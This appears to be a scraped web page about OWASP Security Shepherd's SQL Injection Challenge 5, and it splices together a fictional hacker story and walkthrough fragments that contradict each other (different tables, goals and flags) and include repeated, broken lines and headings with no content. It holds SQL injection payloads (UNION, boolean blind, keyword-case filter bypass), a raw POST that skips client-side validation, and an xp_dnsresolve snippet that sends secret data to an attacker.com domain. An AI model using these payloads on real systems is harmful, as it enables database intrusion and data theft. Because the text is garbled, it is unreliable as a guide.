Sql+injection+challenge+5+security+shepherd+new May 2026
If you have been navigating the OWASP Security Shepherd training ground, you know that the path to mastery is paved with broken authentication, forgotten sanitization, and clever bypasses. Among the flock, one level stands as a rite of passage: SQL Injection Challenge 5.
Searching for solutions to "sql injection challenge 5 security shepherd new" yields fragmented forum posts and outdated hints. Why? Because this challenge isn’t just about dropping a ' OR 1=1 -- into a login form. It introduces a twist: case sensitivity, keyword filtering, and a misconception about prepared statements.
In this comprehensive guide, we will dissect the architecture of Challenge 5, explore why "new" players fail, and walk through the exact payloads required to claim victory.
xp_dnsresolve is a SQL Server extended stored procedure that resolves a domain name to an IP address. It makes a DNS lookup.
Attack mechanics:
Example:
DECLARE @data varchar(8000);
SELECT @data = (SELECT TOP 1 secret_column FROM secrets_table);
EXEC xp_dnsresolve @data + '.attacker.com';
The flickering glow of three monitors was the only light in Anya’s cramped apartment. Before her, on the central screen, the emblem of the Security Shepherd pulsed a soft, encouraging green. It was a gamified cybersecurity training platform, legendary among junior penetration testers. Anya had blazed through the first four challenges—XSS, broken crypto, a trivial path traversal. But Challenge 5 was different.
The challenge was titled: "The New Recruitment Portal."
A mock web application loaded. It looked deceptively simple: a search bar for a "member directory" with a dropdown menu to filter by department (Engineering, Sales, Marketing). Underneath, a note in italics read: "Migrating to new database schema. Some legacy fields still active."
The objective: Retrieve the CEO's private email from the 'users' table.
Anya had tried the obvious. ' OR '1'='1 returned everyone. admin'-- did nothing. Union-based injections failed. The dropdown parameters seemed to be integer-based and heavily sanitized. For three hours, she was stuck.
Then she noticed the hint buried in the page’s HTML comments: <!-- TODO: Remove legacy ?debug=yes parameter before prod -->
Her heart quickened. She appended ?debug=yes to the URL.
The page reloaded, and a raw SQL error appeared at the bottom:
You have an error in your SQL syntax; check the manual... near 'ORDER BY last_login DESC' at line 1
But more importantly, the query was partially revealed:
SELECT member_id, username, department, email FROM members WHERE department = '[USER INPUT]' ORDER BY last_login DESC sql+injection+challenge+5+security+shepherd+new
It was a simple WHERE clause, but the error showed that the ORDER BY was hardcoded. The injection point wasn’t the dropdown—it was the search bar for the member name. She typed a single quote in the name field.
Another error bloomed:
Unclosed quotation mark after the string 'Anya' ORDER BY last_login DESC'.
Bingo. String-based injection, but with a twist. The closing ORDER BY was appended after her input. Whatever she injected, it had to close the original single quote, complete the WHERE clause, and then handle the ORDER BY so it didn’t break the syntax.
She tried a simple payload in the name field: ' OR '1'='1' --
The query became:
SELECT ... WHERE department = 'Sales' AND name = '' OR '1'='1' -- ' ORDER BY last_login DESC
The -- commented out the ORDER BY, and the query returned every member. But the email column was truncated. She needed the CEO.
She needed to use a UNION, but that required matching the number of columns. The original query had four columns: member_id, username, department, email. But the displayed output only showed username and department. The email was hidden.
To exfiltrate the CEO’s email, she had to blind inject. But she hated blind injection—too slow.
Then she remembered the "new database schema" note. Legacy fields. What if the ORDER BY column, last_login, was vulnerable too? She couldn’t inject into it directly, but she could manipulate it by closing the WHERE clause and injecting into the ORDER BY using a boolean-based blind injection with a CASE statement.
She crafted a payload for the name field:
' UNION SELECT 1,2,3,4 --
Error: "The ORDER BY position number 4 is out of range of the number of items in the select list."
Good. Four columns confirmed.
Now, how to get the CEO’s email? She knew the CEO’s username was ceo_shepherd from a previous challenge’s hint. She needed to extract the email field character by character using a conditional time-based or boolean injection. But Challenge 5 had a 5-second timeout per query.
She chose boolean-based. In the name field, she entered: If you have been navigating the OWASP Security
' OR (SELECT SUBSTRING(email,1,1) FROM users WHERE username='ceo_shepherd') = 'a' --
No result. Try 'b'? No. 'c'? The page returned the normal "No results found" – wait, that was different. For 'c', the page showed an empty result set but no error. For 'a' and 'b', it threw a generic error. That was her boolean oracle: error = false, empty result = true.
The first character of the CEO’s email was 'c'.
She wrote a quick Python script. For each position (1 to 50), she would try lowercase, uppercase, digits, '@', '.', '_'. If the page returned an empty result set (HTTP 200 with "No members found" text), that was the correct character.
After 127 requests, the script revealed:
c.e.o@shepherd-security.com
She submitted it. The Security Shepherd interface chimed. A golden badge appeared on her dashboard: "Gate 5 Breached – The New Shepherd."
But the final line of the success message made her pause:
"You’ve exploited the legacy ORDER BY injection. However, the new schema also has a stored procedure called 'sp_audit_query'. Can you make it execute xp_cmdshell? That’s Challenge 6."
Anya smiled. The shepherd’s gate had only just opened. She cracked her knuckles and loaded the next challenge. The real hunt had begun.
You need to change user_id = 2 to user_id = 1. But you cannot use quotes or spaces in creative ways? Wait — spaces are allowed.
Try searching for:
%' UNION SELECT note FROM notes WHERE user_id=1 --
But quotes are blocked. How to inject without quotes? Use hex encoding or CHAR() function — but the filter blocks parentheses? No, parentheses are allowed. Let’s check: ( and ) are not in the regex [^a-zA-Z0-9 ]. So you can use functions.
But the injection point is inside the LIKE '%[injection]%' string. You need to close the LIKE clause and add a new condition.
Search term:
%' OR user_id=1 --
Still blocked because of the single quote. Try escaping the single quote? You can’t type \' because \ is allowed but the quote is blocked at validation. Example: DECLARE @data varchar(8000); SELECT @data = (SELECT
Before attacking, the attacker must control a DNS server or use a service like:
For this write-up, assume Burp Collaborator generates a unique subdomain: [random].burpcollaborator.net
To prevent this attack:
If the developer used double quotes around the LIKE pattern, then a double quote would close it. But the debug header shows single quotes. So maybe the filter is only client-side? You can bypass client-side validation by editing the POST request manually using Burp Suite or browser dev tools.
Disable JavaScript or intercept the request. Send:
search_term=%' OR user_id=1 AND '1'='1
No — quotes still needed for the '1'='1'. Better:
search_term=%' OR user_id=1 --
Submit via raw POST:
POST /challenge5/search.jsp HTTP/1.1
...
search_term=%25%27+OR+user_id%3D1+--+
But %25 is %, %27 is '. The server receives the single quote because client-side validation is bypassed.
Resulting SQL:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%%' OR user_id=1 -- %'
The -- comments out the rest. Now the condition is user_id=2 AND note LIKE '%%' (always true for guest notes) OR user_id=1 (admin). But both conditions are ORed, so all notes where user_id=1 or 2 appear.
Response shows two notes:
Guest note: Remember to buy milk.
Admin note: The flag is SQLi_Chall5_Shepherd_8347
We need to extract the table containing the flag. The "new" challenge often uses a table called users or challenge5_users.
Payload to guess the table name (Boolean blind):
1'/**/aNd/**/(SeLeCt/**/count(*)/**/FrOm/**/users)/**/>/**/0-- -
If this returns "User Found", the table users exists.